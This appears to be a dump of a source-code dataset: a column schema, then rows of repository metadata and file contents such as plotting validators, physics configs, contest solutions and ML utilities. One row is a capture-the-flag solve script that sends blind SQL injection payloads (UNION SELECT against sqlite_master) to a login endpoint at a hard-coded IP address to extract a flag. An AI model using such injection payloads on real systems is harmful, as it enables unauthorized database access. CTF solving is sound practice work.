blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
220 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
257 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
94dc0ef50431d5665ad51b9387ffe5fc79253c51
553ab825f7d44def36c092d544a7bb6c9bc52881
/Best_Maximum_Probability.py
c8c405c3f86b06122c3a1175939676817677a322
[]
no_license
OzzyTao/TrajectorySmoothing
f8c898ed777dee860286f004200a1674753d538c
f1771fbe2c6719bcca56c4c6942ced6b375dcf30
refs/heads/master
2020-04-20T18:51:14.019699
2015-08-07T02:54:55
2015-08-07T02:54:55
40,339,829
0
0
null
null
null
null
UTF-8
Python
false
false
1,151
py
from sta import Test import pickle import csv path = 'f:/London/statistics/' names = ['RMSE','TRMSE','area','CLength','RMSE_Rank','TRMSE_Rank','area_Rank','CLength_Rank'] # K values fields = ['30s','40s','50s','60s','90s','120s','150s'] seconds = [30,40,50,60,90,120,150] suffix = 'econds101test.p' binaryfiles...
[ "ozzytao@Ozzys-MacBook-Pro.local" ]
ozzytao@Ozzys-MacBook-Pro.local
53acf8afba1dca047ee2e925f727f123b6ae6295
a94aee74f2c29e51d8740ac7ee336fcc4aeb408d
/2021/SecureBugCTF/blind_flagger_solve.py
b4872629b7e0b2eecf138f233f4facde4e6c0f0f
[]
no_license
CTF-STeam/ctf-writeups
c2103d66f315057f4eba527a2bc335248bf49c7f
2f5532207db3d9f721d294bacaec6cd56c4ec752
refs/heads/master
2023-06-30T10:16:46.885305
2021-08-08T14:59:50
2021-08-08T14:59:50
290,140,012
5
4
null
2021-08-07T12:18:50
2020-08-25T07:03:45
Python
UTF-8
Python
false
false
1,410
py
import requests BASE_URL = 'http://18.194.166.81:3334/old-login' def tryUrl(param, pos): url = BASE_URL # CREATE TABLE flag (FlaggedFlag T #post_data = {'uname': 'admin', 'psw': "' or 1=2 union select 1,tbl_name from sqlite_master where tbl_name='flag' and hex(substr(sql," + str(pos + 1) + ",1)) >= hex('"...
[ "chinhnt2k3@gmail.com" ]
chinhnt2k3@gmail.com
fe98cd8e2fe048a0813b442454d71bc1d015a7fc
acf7457d3a799cb9bff12686d2d616688bcd4b5b
/packages/python/plotly/plotly/validators/heatmap/legendgrouptitle/font/_color.py
992adc73b123157b72fc2cd128fd797dbab38c2d
[ "MIT" ]
permissive
plotly/plotly.py
f4f61639f08160f16195efc95b5901dc5a937346
975a704074f01c078e0fdfa32bdf17130bf89e69
refs/heads/master
2023-09-06T06:15:08.340035
2023-08-24T12:28:14
2023-08-24T12:28:14
14,579,099
14,751
2,989
MIT
2023-09-08T19:55:32
2013-11-21T05:53:08
Python
UTF-8
Python
false
false
427
py
import _plotly_utils.basevalidators class ColorValidator(_plotly_utils.basevalidators.ColorValidator): def __init__( self, plotly_name="color", parent_name="heatmap.legendgrouptitle.font", **kwargs ): super(ColorValidator, self).__init__( plotly_name=plotly_name, parent...
[ "nicolas@plot.ly" ]
nicolas@plot.ly
c71f56ec55e2469b4b7274175bf4d6fdd17517ea
949633cd7f09a68b19304af14562b29514261ecc
/Validation/MuonGEMHits/python/SingleMuPt2-50Fwd_cfi.py
b7313215de37fa11c0b02cf416e409849712d915
[]
permissive
gsfs/cmssw
eabfe97b0594287ce25556e6b091956b72baad72
fdbcb59c16cafd2a9b56177064bc0b6b93cc51dc
refs/heads/CMSSW_8_0_X
2021-01-21T23:41:29.108786
2019-04-11T16:11:14
2019-04-11T16:11:14
226,406,411
0
0
Apache-2.0
2019-12-06T20:39:25
2019-12-06T20:39:24
null
UTF-8
Python
false
false
526
py
import FWCore.ParameterSet.Config as cms generator = cms.EDProducer("FlatRandomPtGunProducer", PGunParameters = cms.PSet( MaxPt = cms.double(50.0), MinPt = cms.double(2.0), PartID = cms.vint32(-13), MinPhi = cms.double(-3.14159265359), MaxPhi = cms.double(3.14159265359), MinEta = cms.double(-...
[ "ry840901@gmail.com" ]
ry840901@gmail.com
b104bc898e027c3443ab38096375afb2acb94686
9da8754002fa402ad8e6f25659978bd269bbcec8
/src/25B/cdf_25B.py
1a7bf3d9cd25f7a4eea1b9be350dfa6db25c93c0
[ "MIT" ]
permissive
kopok2/CodeforcesSolutionsPython
a00f706dbf368ba0846c8ae86d4145b5dd3e1613
35bec0dbcff47765b123b5fe60476014376153df
refs/heads/master
2023-02-02T03:08:22.097651
2020-12-17T22:00:50
2020-12-17T22:00:50
196,035,812
1
1
null
null
null
null
UTF-8
Python
false
false
785
py
class CodeforcesTask25BSolution: def __init__(self): self.result = '' self.n = 0 self.number = '' def read_input(self): self.n = int(input()) self.number = input() def process_task(self): result = [] if self.n % 2: result.append(self.numb...
[ "oleszek.karol@gmail.com" ]
oleszek.karol@gmail.com
8074f01904bff39c1ebfd7683a6d575784de2172
e0fc7493f4339145792f54bcd7124acea500ca45
/cpc/utils/ErrorHandler.py
a4971a3eda2ee541bbc19b681e53610fa2d843b3
[ "BSD-3-Clause" ]
permissive
U-Ar/Cpresto
d52d99e8d44ed01c87c8911614d744cae695d6aa
f723458fb237c9e3e8bc8a6afdf7c81858a65363
refs/heads/main
2023-05-14T15:28:38.449783
2021-06-06T15:07:14
2021-06-06T15:07:14
364,445,894
1
0
null
null
null
null
UTF-8
Python
false
false
937
py
import sys class ErrorHandler: def __init__(self,progid,stream=None): if stream == None: self.stream = sys.stderr else: self.stream = stream self.program_id = progid self.n_error = 0 self.n_warning = 0 def error(self,msg,loc=None): if...
[ "yuma.arakawa82128awakara.amuy@gmail.com" ]
yuma.arakawa82128awakara.amuy@gmail.com
f7442f8c645cd183f3dec599c63d35e07280fb9a
d8e66e769e8f9b797d45ce3cfc01eb43d97eafad
/app/targetbalance.py
0868084558cf89fd331bb9203be2e9f26f50583b
[ "LicenseRef-scancode-warranty-disclaimer", "MIT" ]
permissive
mvdwerve/bunq2ifttt
34d2d76fa4c4049795237c0c2df855d70b1557c4
de53ca03743b705c4f5149c756e0fd90d55231ee
refs/heads/master
2022-11-29T06:20:58.048869
2020-08-02T16:34:38
2020-08-02T16:34:38
null
0
0
null
null
null
null
UTF-8
Python
false
false
11,540
py
""" Target balance Handles the target balance internal/external actions """ import json import uuid from flask import request import bunq import payment def target_balance_internal(): """ Execute a target balance internal action """ data = request.get_json() print("[target_balance_internal] input: {}"...
[ "edwin@woudt.nl" ]
edwin@woudt.nl
5496783d37eedd3abd8679c0d29be881d4a588ee
2cb7bad8855b56b4ea944ee54f6f82e7ff3adf74
/project/janamat/wsgi.py
3e976f6cadf3729b37aea1bbcc574aedada494b4
[]
no_license
Swagoto97/MyBlog
eb41918276ce67c2feaba9d7e3e3749adfc45cc0
c20f7da0f539f26d6fb55e1a301391ad8f3948a4
refs/heads/master
2023-06-29T00:06:00.295102
2021-07-26T11:20:57
2021-07-26T11:20:57
389,607,184
0
0
null
null
null
null
UTF-8
Python
false
false
391
py
""" WSGI config for janamat project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTI...
[ "swagoto2sadhukhan@gmail.com" ]
swagoto2sadhukhan@gmail.com
296423ec24b4780fed4d00720f1a842756b38435
fc83aabda5c74f4a07c7003cf1257680400515f0
/venv/Scripts/pip3-script.py
871cdcbd9ede1f4f0ccd7aa4c5516098a0c4fa08
[]
no_license
pirak3/Inklok
473f3dd1df4f522f85e721c19d76b970585d56f4
01c0051fa1eae317e8abce4796206b6fa2d02f8e
refs/heads/master
2020-03-10T18:07:33.261817
2018-04-14T13:10:27
2018-04-14T13:10:27
129,517,706
0
0
null
null
null
null
UTF-8
Python
false
false
381
py
#!D:\Inklok\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'pip==9.0.1','console_scripts','pip3' __requires__ = 'pip==9.0.1' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_...
[ "joepvanhulst10@gmail.com" ]
joepvanhulst10@gmail.com
b15ceb94e2e8826bd4fc55a98f1ca8ab21c75907
170c3632b340871fb9f82ff1bde91b23f3700224
/recommenders/hybrid_recommender.py
a655093669dc4ba0f9a732fac605db128f9c8400
[]
no_license
predictory/predictory-api
7c3d24aea677ed2674e8e1bb55ef055231878d6a
a7118cced3d941f7d2283f3945234346c15e1adb
refs/heads/master
2021-06-18T05:58:53.493560
2019-11-07T08:58:31
2019-11-07T08:58:31
158,552,092
1
0
null
null
null
null
UTF-8
Python
false
false
2,307
py
from models.weighted_hybrid_recommender import WeightedHybridRecommender from models.switched_hybrid_recommender import SwitchedHybridRecommender class HybridRecommender: @staticmethod def get_recommendations(user_id, movie_id, hybrid_type='weighted', take=10, skip=0, genres=None, movie_type=None, ...
[ "fojtik.v@gmail.com" ]
fojtik.v@gmail.com
fad8543b40ac46027cd320c773ff3ad6eefd9be4
a7f04883ebfc5d22172da939d72624a52c8632c1
/post/migrations/0003_auto_20200326_0551.py
7de2715a163b28c3d7cae586e2277079dc338141
[]
no_license
almaaesh/ads
2782b59ac65075e817634b3dea96050218b78932
caf2df2c3e60c8475e90aa5457943283c73a3b10
refs/heads/master
2022-11-30T05:32:57.227143
2020-04-08T04:05:24
2020-04-08T04:05:24
253,975,079
0
0
null
null
null
null
UTF-8
Python
false
false
453
py
# Generated by Django 2.1.2 on 2020-03-26 02:51 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('post', '0002_auto_20200326_0540'), ] operations = [ migrations.AlterField( model_name='product', name='slug_ar', ...
[ "BASSAM@Administrator.kfupm.edu.sa" ]
BASSAM@Administrator.kfupm.edu.sa
a0ef8d57867120d76e7dd3c1b572137bdeb51bf6
f7550c4964dc8f3c59dbcebe39e947bd6a264dba
/2.OOPS/Exception Handling.py
05dac8b2c108980738fc273289f4f8795461eb72
[]
no_license
Jashwanth-k/Data-Structures-and-Algorithms
db5e2e30932e0a35db578c19ae6cff9f147b7c3d
1ebf9986999a474cb094f3ab04616a46f2887043
refs/heads/main
2023-08-25T02:57:17.394322
2021-10-11T15:27:56
2021-10-11T15:27:56
402,448,718
0
0
null
null
null
null
UTF-8
Python
false
false
324
py
while True: try: n = int(input('enter the numerator :')) num = int(n) n = int(input('enter the denominator :')) denom = int(n) value = (num / denom) print(value) break except ValueError: print('Numerator and Denominator must be integers...
[ "noreply@github.com" ]
Jashwanth-k.noreply@github.com
9404e5e1138ec41fc2bad63449226d1cd0cc38c6
42c48f3178a48b4a2a0aded547770027bf976350
/google/ads/google_ads/v4/services/domain_category_service_client_config.py
db4f358f4636c9982c5622eefbd7626ab8796369
[ "Apache-2.0" ]
permissive
fiboknacky/google-ads-python
e989464a85f28baca1f28d133994c73759e8b4d6
a5b6cede64f4d9912ae6ad26927a54e40448c9fe
refs/heads/master
2021-08-07T20:18:48.618563
2020-12-11T09:21:29
2020-12-11T09:21:29
229,712,514
0
0
Apache-2.0
2019-12-23T08:44:49
2019-12-23T08:44:49
null
UTF-8
Python
false
false
815
py
config = { "interfaces": { "google.ads.googleads.v4.services.DomainCategoryService": { "retry_codes": { "idempotent": [ "DEADLINE_EXCEEDED", "UNAVAILABLE" ], "non_idempotent": [] }, "retry_params": { "default": { "initial_retry_delay_...
[ "noreply@github.com" ]
fiboknacky.noreply@github.com
479b17c3595be8900b8bb765f60ad7f41ff8a5ad
c09a78a4fc5e7c82291538f3437d50591903f45f
/python/tvm/relay/op/contrib/ethosu.py
806bf6dce2e89814b248c5246797995b799a3af2
[ "Apache-2.0", "BSD-3-Clause", "Zlib", "MIT", "LicenseRef-scancode-unknown-license-reference", "Unlicense", "BSD-2-Clause" ]
permissive
UofT-EcoSystem/tvm
1dcdffb9069a003376bc54ad82640616956a80b6
6d6e0705873b0b64576127fd6038720ef6c9c338
refs/heads/main
2022-08-31T11:00:02.757303
2022-06-25T12:03:47
2022-06-25T12:03:47
393,457,696
0
1
Apache-2.0
2021-08-06T17:51:12
2021-08-06T17:51:11
null
UTF-8
Python
false
false
64,740
py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
[ "noreply@github.com" ]
UofT-EcoSystem.noreply@github.com
4c5149cb2165bdc4a1dae9c327c7e46bc017c69a
7010168d220138f9042e19575a5d605cd05ad7fc
/finalproject/GraRep.py
c8b603a8a173b3d006b7586f94a3505f2ef874ab
[]
no_license
ztypl/MLexp
9ff01534d53e7bc03422e9051ed471f797738aea
52bcb93fdbbfc6448d721f12ee341ddbd12cbdc7
refs/heads/master
2020-03-21T03:04:29.974293
2018-07-04T09:41:09
2018-07-04T09:41:09
138,035,524
0
0
null
null
null
null
UTF-8
Python
false
false
1,667
py
# coding : utf-8 # create by ztypl on 2018/6/12 import numpy as np import sys from scipy import sparse class GraRep: def __init__(self, **kwargs): self.lbd = kwargs['lbd'] self.d = kwargs['d'] self.k = kwargs['k'] self.N = None def embedding_sparse(self, S): S = sparse...
[ "ztypl@MyDLVM-Linux.ftbrctscb3cunj22geayv2bsmd.bx.internal.cloudapp.net" ]
ztypl@MyDLVM-Linux.ftbrctscb3cunj22geayv2bsmd.bx.internal.cloudapp.net
b37967cd5cef86d17445269b33e9211c1d7ab0f3
365697540428f1a3c5c2f587939805af97fe5766
/yp.py
cd1e4fa80d3c10713408134711c9f697bb0b07ec
[]
no_license
enlys/python
24dcc53d72e593621f8d77474610d8c18c55e0b2
2a415423ec6014b2df381c9c1f7ab878f689ef95
refs/heads/master
2020-04-07T02:56:08.280275
2018-11-17T15:24:52
2018-11-17T15:24:52
157,995,877
0
0
null
null
null
null
UTF-8
Python
false
false
616
py
import requests import json import re headers={"User-Agent":"Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Mobile Safari/537.36;"} rr=requests.get("https://www.ximalaya.com/revision/play/album?albumId=16046207&pageNum=1&pageSize=30",headers=headers...
[ "noreply@github.com" ]
enlys.noreply@github.com
6e7cabaa37307fe2662486cac498a34a84fa741f
5388b791b6d2eb56230920a261c655b149b6e40d
/python-pdaadhat/pdaadhat/pdaadhat.py
4599939f68fd95229f9afd599fe692748c63e482
[ "MIT" ]
permissive
toschoch/power-daad-breakout-hat
320ca282c0e247541f52e1525aedd43ea6e46e6f
14732f532225825dfc93ddba189ae369f450e0d3
refs/heads/master
2021-01-09T19:26:30.184235
2020-04-13T11:04:48
2020-04-13T11:04:48
242,430,247
0
0
null
null
null
null
UTF-8
Python
false
false
452
py
from smbus import SMBus b = SMBus(1) # 1 indicates /dev/i2c-1 dev_addr1 = 0x10 dev_addr2 = 0x11 general_purpose_register = 0x03 dac_pin_config_register = 0x05 dac_out0_register = 0x10 # set I/O0 of dev 0 to dac output b.write_word_data(dev_addr1, dac_pin_config_register, 0x0001) # set I/O0 to 1000/4095 -> 0x3e8 b...
[ "tobias.schoch@vtxmail.ch" ]
tobias.schoch@vtxmail.ch
4e5035989a8b27bbf1e9c337ad7aa29d4a3dde48
d654f11c3e1b0fbcfd83926ae437190e05cdcd13
/src/scraping/process_raw_user_scraping.py
ac5c77f9bad3aded053bed62ecddcb211cfa7378
[]
no_license
pixelatedbrian/Indie-Game-Recommender
b06d6c1cc36d91781cedeaf4ace85a7e32219300
76fb770b221841d44b5d45bd1782077779ee29a3
refs/heads/master
2018-09-23T22:59:13.190148
2018-06-15T20:54:15
2018-06-15T20:54:15
95,802,004
0
0
null
null
null
null
UTF-8
Python
false
false
5,406
py
''' Read in raw user webpages from MongoDB and extract the games that the user has played as well as how many hours the user has played each game Create a master dictionary that contains the user_id: val for one key/value pair and then create a data: {} key/value pair where the dictionary value is a dictionary of the g...
[ "bhardens@yahoo.com" ]
bhardens@yahoo.com
503494cb23fd10bfb9415c87cba1dfd294b8102b
cf8c6085efbe3a599415f99752b2563dec88be0b
/navigation/utils/replay_buffer.py
9f8146a2fd1054ad411ac7aba6f26057062c2c8b
[]
no_license
NehrenD/deeprl_nanodegree
7e631c0dd2d377846997d3f7c59d60348929ada2
7ea5f122f90db25bd03b3bdcc77e1abdbbd0c7a8
refs/heads/master
2022-11-14T16:19:39.051344
2020-07-13T21:49:33
2020-07-13T21:49:33
263,177,892
0
0
null
null
null
null
UTF-8
Python
false
false
1,762
py
import torch from collections import deque,namedtuple import numpy as np device = 'cpu' class ReplayBuffer: def __init__(self, action_size, buffer_size, batch_size, seed): self.action_size = action_size self.memory = deque(maxlen=buffer_size) self.batch_size = batch_size self.ex...
[ "thenehrens@yahoo.com" ]
thenehrens@yahoo.com
0bb69fd3581d92903e2200dd01a5cf67f1215a6a
912945a58d485956f5222bad7adc1930f61d1593
/TIL/SWEA/D2/swea_4866.py
302fd69a1b5120dedec668f68c3f3ea91d18437a
[]
no_license
jeong-hyejin/Algorithm
27a36b4dedde37a59f2318204c7d724e79ebec4b
2e4654cfb6ba2448e217c5819e0582749b14d487
refs/heads/master
2022-12-17T16:19:11.862171
2020-09-22T14:37:11
2020-09-22T14:37:11
286,981,923
0
0
null
null
null
null
UTF-8
Python
false
false
1,257
py
''' input을 순호하면서 '('과 '{'이면 stack에 push ')'과 '}'이면 1. 스택이 비어 있지 않고 2. stack의 마지막 값이 짝이 맞다면 pop! stack이 비어있지 않으면 0을 리턴하고 비어있다면 1을 리턴 ''' T = int(input()) for tc in range(1, T+1): print('#{}'.format(tc), end=" ") def check(arr): stack = [] for i in arr: # if i == '(' or c == '{': ...
[ "9jung6@naver.com" ]
9jung6@naver.com
a015c92f8a50466142a0f27f917b1554f064396c
da0a4ddb0b8e97574a60fc4b2d7eddfafc2d39c3
/arg_parse.py
33cb69891ec4a42aeb5e20f138cc79be09db2bab
[]
no_license
jmccutchan/GA_homework
577221297ffc10f0a173af101252d07c21222473
60c15feb222b00c92bef8b0c7e6523d1fb98aec4
refs/heads/master
2021-01-21T00:21:13.096333
2014-03-07T07:24:43
2014-03-07T07:24:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,182
py
import argparse from sklearn import datasets from sklearn.neighbors import KNeighborsClassifier from sklearn.naive_bayes import GaussianNB from sklearn import cross_validation import numpy as np def loadIris(): #returns the data and labels for the iris dataset iris=datasets.load_iris() #load the needed datase...
[ "mccutchanjames@gmail.com" ]
mccutchanjames@gmail.com
e14cf92464ea50f5d578c4e36687e6ec65a07426
2511ad2a4e41c17c5c76b353de855090e23d45f5
/app.py
e8afbc61c64f9211f387459265bda884d17395a7
[]
no_license
alexbumpers/stract
15c950ed43ce58cb1f492d169f70d3b5d42d3a6c
f847867d3197cdf87fc49e26bd2d78178f9390a3
refs/heads/master
2020-05-07T21:56:08.558661
2019-04-13T04:19:45
2019-04-13T04:19:45
180,925,050
0
0
null
null
null
null
UTF-8
Python
false
false
1,112
py
from flask import Flask, request, render_template import os import subprocess import logging logging.basicConfig(level=logging.DEBUG) app = Flask(__name__) if __name__ == '__main__': app.jinja_env.auto_reload = True app.config['TEMPLATES_AUTO_RELOAD'] = True app.run(debug=True, host='0.0.0.0:3000') de...
[ "apbumpers@gmail.com" ]
apbumpers@gmail.com
255a081f17a2d0cc12397f5c24ab00bc3d57e454
b5611baa02848546b0f25b16ceb24e5864afefee
/4-3/sunset.py
843c9fd19ce645473b7a0132ad7c3f90fe554f7d
[]
no_license
codingfan0704/hajimeteno_computer_sience
59920c6a91f72608bc46b4fa22941609291ba7bb
7f674a2981b0ba3a9101672597f0ae42b190a409
refs/heads/master
2020-04-18T21:54:57.067407
2012-01-26T10:30:27
2012-01-26T10:30:27
3,271,668
0
0
null
null
null
null
UTF-8
Python
false
false
288
py
#encoding: utf8 import media pic = media.load_picture('207.jpg') media.show(pic) for p in media.get_pixels(pic): new_blue = int(0.7 * media.get_blue(p)) new_green = int(0.7 * media.get_green(p)) media.set_blue(p, new_blue) media.set_green(p, new_green) media.show(pic)
[ "coding6935fan@gmail.com" ]
coding6935fan@gmail.com
7a6974e07b365dfc148c9dc74ab452fd7af7203b
e13b7175ea8b863ab055f8e78b561512e2d4819a
/code/kmeans.py
da4aee6cbfe4186aea8e3fd5223c73d49d99f76f
[ "MIT" ]
permissive
UF-AI/2018DataScienceBowl
5d6c95c54353534fe9d8c360bb8f34af631a5de4
954fbd59c9cd3621d8dc94d48fdf9b1da0e43d1d
refs/heads/master
2021-05-10T09:23:47.146371
2018-01-25T16:40:26
2018-01-25T16:40:26
118,926,273
0
1
null
null
null
null
UTF-8
Python
false
false
6,740
py
# -*- coding: utf-8 -*- """ Created on Sat Jan 20 00:57:24 2018 @author: mason rawson """ import tensorflow as tf import os import sys import numpy as np import random import math import warnings import pandas as pd import sklearn from sklearn.decomposition import PCA from sklearn.cluster import KMeans #import cv2 im...
[ "christian.marin7@gmail.com" ]
christian.marin7@gmail.com
4142964e5405ab44216a3c53d6d75234942ac6d4
76a8ea60480331f0f61aeb61de55be9a6270e733
/downloadable-site-packages/Bio/Phylo/TreeConstruction.py
c6c95154385d69c86f76450b142cbf940399a862
[ "MIT" ]
permissive
bhagyas/Pyto
cd2ec3f35bec703db4ac29b56d17abc4bf03e375
907024a9b3e04a2a9de54976778c0e1a56b7b83c
refs/heads/master
2022-11-19T13:05:07.392454
2020-07-21T17:33:39
2020-07-21T17:33:39
281,886,535
2
0
MIT
2020-07-23T07:48:03
2020-07-23T07:48:02
null
UTF-8
Python
false
false
42,982
py
# Copyright (C) 2013 by Yanbo Ye (yeyanbo289@gmail.com) # This code is part of the Biopython distribution and governed by its # license. Please see the LICENSE file that should have been included # as part of this package. """Classes and methods for tree construction.""" import itertools import copy from Bio.Phylo im...
[ "adrilabbelol@gmail.com" ]
adrilabbelol@gmail.com
9cb938048f68b47602170f1e3f23275c9c1e5941
9594585cc05dded72740774a3d6058971386dd9a
/boss/core/exc.py
80e4e91c50c60fee37aa3030542ce45190324e3a
[ "BSD-3-Clause" ]
permissive
derks/boss
3a22044d9542ba249f95fd7081e86f3451c16134
8b81ddfb9b44dab018329a304a5e5a75fa20b060
refs/heads/master
2021-01-18T05:37:47.894064
2013-06-27T21:01:20
2013-06-27T21:01:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
428
py
"""Boss core exceptions module.""" class BossError(Exception): """Generic errors.""" def __init__(self, msg): Exception.__init__(self) self.msg = msg def __str__(self): return self.msg class BossConfigError(BossError): pass class BossRuntimeError(BossError): ...
[ "wdierkes@rackspace.com" ]
wdierkes@rackspace.com
0432520283360ee1b0dd7d23b368b1d7c7dead0e
75320fdf80925dc39f61e14eeca67b1c3d275077
/min-element-sorted-rotated-array.py
38ecc510a7b8a267ae6cc38b272011b76a1c1d34
[]
no_license
HarishK501/100-days-of-coding
453e260f4bd6bab5578d6db5b9c511d0637bc8ad
4622e42ce813eb835b48d63396e0dd4772ff9415
refs/heads/master
2023-02-15T14:14:05.115654
2020-12-28T16:10:26
2020-12-28T16:10:26
297,650,308
1
0
null
null
null
null
UTF-8
Python
false
false
731
py
def getMin(A): low = 0 high = len(A) - 1 while low <= high: mid = (low+high) // 2 if mid - 1 >= 0: if A[mid-1] > A[mid]: return "Minimum element = {}".format(A[mid]) elif A[mid] < A[high]: high = mid else...
[ "noreply@github.com" ]
HarishK501.noreply@github.com
e3ad03ee9c92c6781cc717be48460412daa140bb
ee4feddb2dd410602377e749b56c4d1563ab58ef
/20140409_alignprofile/alignprofile.py
9577a1758780d9c8d62a961ac0a90e30a2bd635c
[]
no_license
moritzbuck/Pyscratches
505431b7d141e72d6bb89d52eabd0c37aba6e536
f0e752abc18017db9dad9f8dde920174bf94d463
refs/heads/master
2020-04-06T07:00:13.540303
2018-02-12T15:01:07
2018-02-12T15:01:07
58,471,067
1
0
null
null
null
null
UTF-8
Python
false
false
2,209
py
from Bio import SeqIO from numpy import median from numpy import mean from tqdm import tqdm import os.path from pandas import Series file ="test.fasta" file ="/home/moritz/dropbox/stability.trim.contigs.good.unique.align" if not os.path.isfile("coverages.csv") : print "compute coverages" if 'coverage' in lo...
[ "mrtz.buck@gmail.com" ]
mrtz.buck@gmail.com
9bf5e88c23ba62c7ced22432faab87c0a1c3156b
7a73fef9ae426c48573bae41447cef7cb2b97bf6
/dynamicserialize/dstypes/com/raytheon/uf/common/activetable/request/MergeActiveTableRequest.py
b3377e84d97d8c41ce0f2b475a4807acc2653016
[ "LicenseRef-scancode-public-domain", "BSD-3-Clause" ]
permissive
mjames-upc/python-awips
7f0a80a04457224c9e195b82a95eef4d9b2b3091
e2b05f5587b02761df3b6dd5c6ee1f196bd5f11c
refs/heads/master
2020-03-31T03:00:49.540816
2018-10-05T23:15:42
2018-10-05T23:15:42
53,707,817
0
0
null
2017-04-12T18:00:59
2016-03-12T01:46:57
Python
UTF-8
Python
false
false
2,304
py
## ## # File auto-generated against equivalent DynamicSerialize Java class class MergeActiveTableRequest(object): def __init__(self, incomingRecords=[], tableName='PRACTICE', site=None, timeOffset=0.0, xmlSource=None, fromIngestAT=False, makeBackups=True): self.incomingR...
[ "mjames@unidata.ucar.edu" ]
mjames@unidata.ucar.edu
effd5764d0ea463c16b0501afa0007efd6db1203
2422ee49450d11f318a501ed22a77ca1efa586c9
/HELLOPYTHON/day08/myomok01.py
607b632cf74bd9020b54a799999adcb6aa3def64
[]
no_license
Jinny-s/ddit_python_backUp
aefc371afbc4f8d7bdff90682b3fe6bdd93a8c1b
3fb62e69574b98f8ee935ffff9f37e324a17f771
refs/heads/master
2023-05-11T21:48:28.412306
2021-05-28T00:13:12
2021-05-28T00:13:12
369,527,325
0
0
null
null
null
null
UTF-8
Python
false
false
2,439
py
import sys from PyQt5.QtWidgets import QMainWindow, QApplication from PyQt5 import uic, QtGui from PyQt5.Qt import QPushButton, QSize, QRect form_class = uic.loadUiType("myomok01.ui")[0] class MyWindow(QMainWindow, form_class): def __init__(self): super().__init__() self.setupUi(self) sel...
[ "46083003+Jinny-s@users.noreply.github.com" ]
46083003+Jinny-s@users.noreply.github.com
7a5c1835b9399907b133264cb54216162991db72
0a775e8d1057b2608a8d46499124105776ff4062
/web/manage.py
c5cff1a9dce87821e9827c52812f60cd4df2e7c3
[ "MIT" ]
permissive
x5g/CubeSolver
f3a1ad6e5e3bd5a2becc10a002d473f2902ec867
451ae8f580038d3840cd9279cbdbcd2c13f5045d
refs/heads/master
2022-07-19T06:59:53.505115
2021-04-30T16:09:47
2021-04-30T16:09:47
217,885,447
1
1
MIT
2022-06-22T02:38:46
2019-10-27T16:44:49
Python
UTF-8
Python
false
false
630
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'CubeSolver.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise Imp...
[ "1098766468@qq.com" ]
1098766468@qq.com
5a2be43121e2fbabfc3199ed5c3014b5bf1cd034
803ff496aff9eef77f3186991878b6f16e54ba0a
/customer_support/views.py
83fd375d8b727d67dc000ab4457b99c6ea137792
[]
no_license
gopal1992/ssadmin
c54dae22dd69e48730affc1cdba0c0ee17b1e48c
96370e8fc108843a70b326d5b136be94ae0b3084
refs/heads/master
2016-09-09T22:44:35.003945
2015-01-24T10:15:12
2015-01-24T10:15:12
29,772,729
1
1
null
null
null
null
UTF-8
Python
false
false
18,570
py
# -*- coding: utf-8 -*- from django.contrib import messages from django.core.urlresolvers import reverse from django.shortcuts import render, redirect from django.views.decorators.http import require_http_methods from django.views.generic import TemplateView from django.views.generic.edit import FormView, UpdateView ...
[ "git@github.com" ]
git@github.com
fa828b53566c090450afc3f58298ab733534ac3e
11cf40946c55b47886cfe8777916a17db82c2309
/conways1.py
a2da35410469f1db5aecd4755355f109e8add686
[]
no_license
dalalsunil1986/python_the_hard_way_exercises
fc669bf2f823a4886f0de717d5f1ca0d0233f6af
bc329999490dedad842e23e8447623fd0321ffe0
refs/heads/master
2023-05-03T01:35:24.097087
2021-05-16T00:43:56
2021-05-16T00:43:56
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,840
py
# Conway's Game of Life import random, time, copy WIDTH = 60 HEIGHT = 20 # Create a list of list for the cells: nextCells = [] for x in range(WIDTH): column = [] # Create a new column. for y in range(HEIGHT): if random.randint(0, 1) == 0: column.append('O') # Add a living cell. els...
[ "mathiasgreg@gmail.com" ]
mathiasgreg@gmail.com
ea10ff333638751d103c53c4fa8ba2f3e8e317e3
a1f832c9a9f4d55f93c75ce6a124ebc96ea633e3
/mapping/script/merger.py
8d7ef7d6862fad481e618d5bec325c1685f95438
[ "Apache-2.0" ]
permissive
bennymeg/IsraelPostalServiceAPI
8409308e7a9e3f1d26c260efa71001b8d0ff7ce2
4cb18c2fe64e709b0864853ba3ea361b83a4470d
refs/heads/master
2023-03-22T17:22:34.490674
2021-10-08T12:06:20
2021-10-08T12:06:20
152,899,161
5
2
Apache-2.0
2023-03-04T02:55:42
2018-10-13T17:52:52
TypeScript
UTF-8
Python
false
false
4,007
py
